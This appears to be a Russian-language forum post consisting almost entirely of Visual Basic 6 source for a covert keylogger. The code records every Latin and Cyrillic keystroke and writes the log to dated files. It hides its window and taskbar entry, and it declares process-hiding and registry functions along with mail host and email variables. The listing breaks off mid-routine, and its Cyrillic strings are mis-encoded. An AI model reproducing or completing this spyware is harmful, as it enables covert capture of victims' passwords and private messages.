HotKitten писал(а):случайно написал в форуме для новичков
HotKitten писал(а):не думал, что его тоже смотрят
HotKitten писал(а):вопрос думаю интересный...
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal VKEY As Long) As Integer
Private Const VK_CAPITAL = &H14
Dim keystate As Long
Dim Shift As Long
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegisterServiceProcess Lib "kernel32.dll" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer$, nSize As Long) As Long
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Const REG As Long = 1
Const HKEY_LOCAL_MACHINE As Long = &H80000002
Const HWND_TOPMOST = -1
Const SWP_NOMOVE = &H2
Const SWP_NOSIZE = &H1
Const flags = SWP_NOMOVE Or SWP_NOSIZE
Dim currentwindow As String
Dim logfile As String
Dim emailAddress As String
Dim mailHost1 As String
Dim RefArray(1 To 36) As String * 1
Dim nameSerial As String
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Sub Command1_Click()
frmKeybMonHistory.Show
End Sub
Private Sub Command2_Click()
Me.Hide
End Sub
Private Sub Command3_Click()
If Timer1.Enabled = True Then
DisableMonitoring
Else
EnableMonitoring
End If
End Sub
Private Sub Form_Load()
App.TaskVisible = False
Timer1.Enabled = True
Label2 = time$
Label3 = Date$
RealTimeTimer.Enabled = True
frmMain.mnuOtherFunctionsKeybSpy.Checked = True
Me.Hide
End Sub
Friend Sub RunKeybSpy()
RealTimeTimer.Enabled = True
EnableMonitoring
frmMain.mnuOtherFunctionsKeybSpy.Checked = True
End Sub
Private Sub Form_Unload(Cancel As Integer)
DisableMonitoring
End Sub
Friend Sub EnableMonitoring()
Timer1.Enabled = True
Text2 = Text2 + vbNewLine + "Êîíòðîëü çà ñèñòåìîé àêòèâèðîâàí â: " + time$ + " " + Date$ + " ãîäà" + vbNewLine
End Sub
Friend Sub DisableMonitoring()
Timer1.Enabled = False
Text2 = Text2 + vbNewLine + "Êîíòðîëü çà ñèñòåìîé îêîí÷åí â: " + time$ + " " + Date$ + " ãîäà" + vbNewLine
' çàïèñü â ôàéë
Open App.Path + "\" + "Log" + "\" + Date$ + ".tap" For Append As #1
Print #1, Text2.Text
Close #1
frmMain.mnuOtherFunctionsKeybSpy.Checked = False
End Sub
Private Sub Label5_Click()
Text2 = Delete
End Sub
Private Sub RealTimeTimer_Timer()
Label2 = time$
Label3 = Date$
'''''''''''''''''''''''''''''''''
If Timer1.Enabled = True Then
Command3.Caption = "Ïðåêðàòèòü"
Else
Command3.Caption = "Íà÷àòü"
End If
End Sub
Public Function CAPSLOCKON() As Boolean
Static bInit As Boolean
Static bOn As Boolean
If Not bInit Then
While GetAsyncKeyState(VK_CAPITAL)
Wend
bOn = GetKeyState(VK_CAPITAL)
bInit = True
Else
If GetAsyncKeyState(VK_CAPITAL) Then
While GetAsyncKeyState(VK_CAPITAL)
DoEvents
Wend
bOn = Not bOn
End If
End If
CAPSLOCKON = bOn
End Function
Private Sub Timer1_Timer()
Shift = GetAsyncKeyState(vbKeyShift)
'''''''''''''''''''''''''''''''''''''''''''' K e y B o a r d À - ß '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
If GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, vbNull)) = 68748313 Then
keystate = GetAsyncKeyState(vbKeyA)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Ô"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "ô"
End If
keystate = GetAsyncKeyState(vbKeyB)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "È"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "è"
End If
keystate = GetAsyncKeyState(vbKeyC)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Ñ"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "ñ"
End If
keystate = GetAsyncKeyState(vbKeyD)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Â"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "â"
End If
keystate = GetAsyncKeyState(vbKeyE)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Ó"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "ó"
End If
keystate = GetAsyncKeyState(vbKeyF)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "À"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "à"
End If
keystate = GetAsyncKeyState(vbKeyG)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Ï"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "ï"
End If
keystate = GetAsyncKeyState(vbKeyH)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Ð"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "ð"
End If
keystate = GetAsyncKeyState(vbKeyI)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Ø"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "ø"
End If
keystate = GetAsyncKeyState(vbKeyJ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Î"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "î"
End If
keystate = GetAsyncKeyState(vbKeyK)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Ë"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "ë"
End If
keystate = GetAsyncKeyState(vbKeyL)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Ä"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "ä"
End If
keystate = GetAsyncKeyState(vbKeyM)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Ü"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "ü"
End If
keystate = GetAsyncKeyState(vbKeyN)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Ò"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "ò"
End If
keystate = GetAsyncKeyState(vbKeyO)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Ù"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "ù"
End If
keystate = GetAsyncKeyState(vbKeyP)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Ç"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "ç"
End If
keystate = GetAsyncKeyState(vbKeyQ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "É"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "é"
End If
keystate = GetAsyncKeyState(vbKeyR)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Ê"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "ê"
End If
keystate = GetAsyncKeyState(vbKeyS)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Û"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "û"
End If
keystate = GetAsyncKeyState(vbKeyT)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Å"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "å"
End If
keystate = GetAsyncKeyState(vbKeyU)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Ã"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "ã"
End If
keystate = GetAsyncKeyState(vbKeyV)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Ì"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "ì"
End If
keystate = GetAsyncKeyState(vbKeyW)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Ö"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "ö"
End If
keystate = GetAsyncKeyState(vbKeyX)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "×"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "÷"
End If
keystate = GetAsyncKeyState(vbKeyY)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Í"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "í"
End If
keystate = GetAsyncKeyState(vbKeyZ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "ß"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "ÿ"
End If
Else
'''''''''''''''''''''''''''''''''''''''''''' K e y B o a r d A - Z '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
keystate = GetAsyncKeyState(vbKeyA)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "A"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "a"
End If
keystate = GetAsyncKeyState(vbKeyB)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "B"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "b"
End If
keystate = GetAsyncKeyState(vbKeyC)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "C"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "c"
End If
keystate = GetAsyncKeyState(vbKeyD)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "D"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "d"
End If
keystate = GetAsyncKeyState(vbKeyE)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "E"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "e"
End If
keystate = GetAsyncKeyState(vbKeyF)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "F"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "f"
End If
keystate = GetAsyncKeyState(vbKeyG)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "G"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "g"
End If
keystate = GetAsyncKeyState(vbKeyH)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "H"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "h"
End If
keystate = GetAsyncKeyState(vbKeyI)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "I"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "i"
End If
keystate = GetAsyncKeyState(vbKeyJ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "J"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "j"
End If
keystate = GetAsyncKeyState(vbKeyK)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "K"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "k"
End If
keystate = GetAsyncKeyState(vbKeyL)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "L"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "l"
End If
keystate = GetAsyncKeyState(vbKeyM)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "M"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "m"
End If
keystate = GetAsyncKeyState(vbKeyN)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "N"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "n"
End If
keystate = GetAsyncKeyState(vbKeyO)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "O"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "o"
End If
keystate = GetAsyncKeyState(vbKeyP)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "P"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "p"
End If
keystate = GetAsyncKeyState(vbKeyQ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Q"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "q"
End If
keystate = GetAsyncKeyState(vbKeyR)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "R"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "r"
End If
keystate = GetAsyncKeyState(vbKeyS)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "S"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "s"
End If
keystate = GetAsyncKeyState(vbKeyT)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "T"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "t"
End If
keystate = GetAsyncKeyState(vbKeyU)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "U"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "u"
End If
keystate = GetAsyncKeyState(vbKeyV)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "V"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "v"
End If
keystate = GetAsyncKeyState(vbKeyW)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "W"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "w"
End If
keystate = GetAsyncKeyState(vbKeyX)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "X"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "x"
End If
keystate = GetAsyncKeyState(vbKeyY)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Y"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "y"
End If
keystate = GetAsyncKeyState(vbKeyZ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "Z"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text2 = Text2 + "z"
End If
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''' Numpad ''''''''''''''''''''''''''''''''''''''''''
keystate = GetAsyncKeyState(vbKeyNumpad1)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "1"
End If
keystate = GetAsyncKeyState(vbKeyNumpad2)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "2"
End If
keystate = GetAsyncKeyState(vbKeyNumpad3)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "3"
End If
keystate = GetAsyncKeyState(vbKeyNumpad4)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "4"
End If
keystate = GetAsyncKeyState(vbKeyNumpad5)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "5"
End If
keystate = GetAsyncKeyState(vbKeyNumpad6)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "6"
End If
keystate = GetAsyncKeyState(vbKeyNumpad7)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "7"
End If
keystate = GetAsyncKeyState(vbKeyNumpad8)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "8"
End If
keystate = GetAsyncKeyState(vbKeyNumpad9)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "9"
End If
keystate = GetAsyncKeyState(vbKeyNumpad0)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "0"
End If
keystate = GetAsyncKeyState(vbKeyAdd)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "+"
End If
keystate = GetAsyncKeyState(vbKeyDecimal)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "." + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyDivide)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "/" + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyMultiply)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "*" + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeySubtract)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "-" + vbNewLine
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''Keys 1-0'''''''''''''''''''''''''''''''''''''
keystate = GetAsyncKeyState(vbKey1)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "1"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "!"
End If
If GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, vbNull)) = 68748313 Then
' â ðóññêîé ðàñêëàäêå
keystate = GetAsyncKeyState(vbKey2)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "2"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + Chr$(34)
End If
keystate = GetAsyncKeyState(vbKey3)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "3"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "¹"
End If
keystate = GetAsyncKeyState(vbKey4)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "4"
End If
